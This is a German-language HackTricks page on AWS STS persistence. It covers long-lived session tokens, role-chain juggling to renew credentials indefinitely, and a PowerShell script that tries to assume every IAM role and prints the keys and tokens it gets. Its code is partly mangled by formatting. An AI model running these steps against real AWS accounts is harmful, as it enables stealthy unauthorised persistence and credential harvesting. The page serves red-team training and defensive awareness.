AWS - STS Persistence

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

STS

Für weitere Informationen siehe:

AWS - STS Enum

Assume role token

Temporäre Tokens können nicht aufgelistet werden, daher ist das Aufrechterhalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz zu gewährleisten.

aws sts get-session-token --duration-seconds 129600

# With MFA
aws sts get-session-token \
--serial-number  \
--token-code 

# Hardware device name is usually the number from the back of the device, such as GAHT12345678
# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username

Role Chain Juggling

Role chaining is an acknowledged AWS feature, wird häufig genutzt, um unauffällige Persistenz aufrechtzuerhalten. Dabei geht es um die Fähigkeit, eine Rolle anzunehmen, die dann eine andere Rolle annimmt, und gegebenenfalls zur ursprünglichen Rolle in einer zyklischen Weise zurückzukehren. Jedes Mal, wenn eine Rolle angenommen wird, wird das Ablaufdatum der Credentials aktualisiert. Folglich ermöglicht eine Konfiguration, in der sich zwei Rollen gegenseitig annehmen, die fortwährende Erneuerung von Credentials.

You can use this tool to keep the role chaining going:

./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]

optional arguments:
-h, --help            show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]

Caution

Beachte, dass das find_circular_trust.py Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenkette konfiguriert werden kann.

Code zur Durchführung von Role Juggling mit PowerShell ```bash # PowerShell script to check for role juggling possibilities using AWS CLI

Check for AWS CLI installation

if (-not (Get-Command “aws” -ErrorAction SilentlyContinue)) { Write-Error “AWS CLI is not installed. Please install it and configure it with ‘aws configure’.” exit }

Function to list IAM roles

function List-IAMRoles { aws iam list-roles –query “Roles[*].{RoleName:RoleName, Arn:Arn}” –output json }

Initialize error count

$errorCount = 0

List all roles

$roles = List-IAMRoles | ConvertFrom-Json

Attempt to assume each role

foreach ($role in $roles) { $sessionName = “RoleJugglingTest-” + (Get-Date -Format FileDateTime) try { $credentials = aws sts assume-role –role-arn $role.Arn –role-session-name $sessionName –query “Credentials” –output json 2>$null | ConvertFrom-Json if ($credentials) { Write-Host “Successfully assumed role: $($role.RoleName)” Write-Host “Access Key: $($credentials.AccessKeyId)” Write-Host “Secret Access Key: $($credentials.SecretAccessKey)” Write-Host “Session Token: $($credentials.SessionToken)” Write-Host “Expiration: $($credentials.Expiration)”

Set temporary credentials to assume the next role

$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey $env:AWS_SESSION_TOKEN = $credentials.SessionToken

Try to assume another role using the temporary credentials

foreach ($nextRole in $roles) { if ($nextRole.Arn -ne $role.Arn) { $nextSessionName = “RoleJugglingTest-” + (Get-Date -Format FileDateTime) try { $nextCredentials = aws sts assume-role –role-arn $nextRole.Arn –role-session-name $nextSessionName –query “Credentials” –output json 2>$null | ConvertFrom-Json if ($nextCredentials) { Write-Host “Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)” Write-Host “Access Key: $($nextCredentials.AccessKeyId)” Write-Host “Secret Access Key: $($nextCredentials.SecretAccessKey)” Write-Host “Session Token: $($nextCredentials.SessionToken)” Write-Host “Expiration: $($nextCredentials.Expiration)” } } catch { $errorCount++ } } }

Reset environment variables

Remove-Item Env:\AWS_ACCESS_KEY_ID Remove-Item Env:\AWS_SECRET_ACCESS_KEY Remove-Item Env:\AWS_SESSION_TOKEN } else { $errorCount++ } } catch { $errorCount++ } }

Output the number of errors if any

if ($errorCount -gt 0) { Write-Host “$errorCount error(s) occurred during role assumption attempts.” } else { Write-Host “No errors occurred. All roles checked successfully.” }

Write-Host “Role juggling check complete.”

</details>

> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>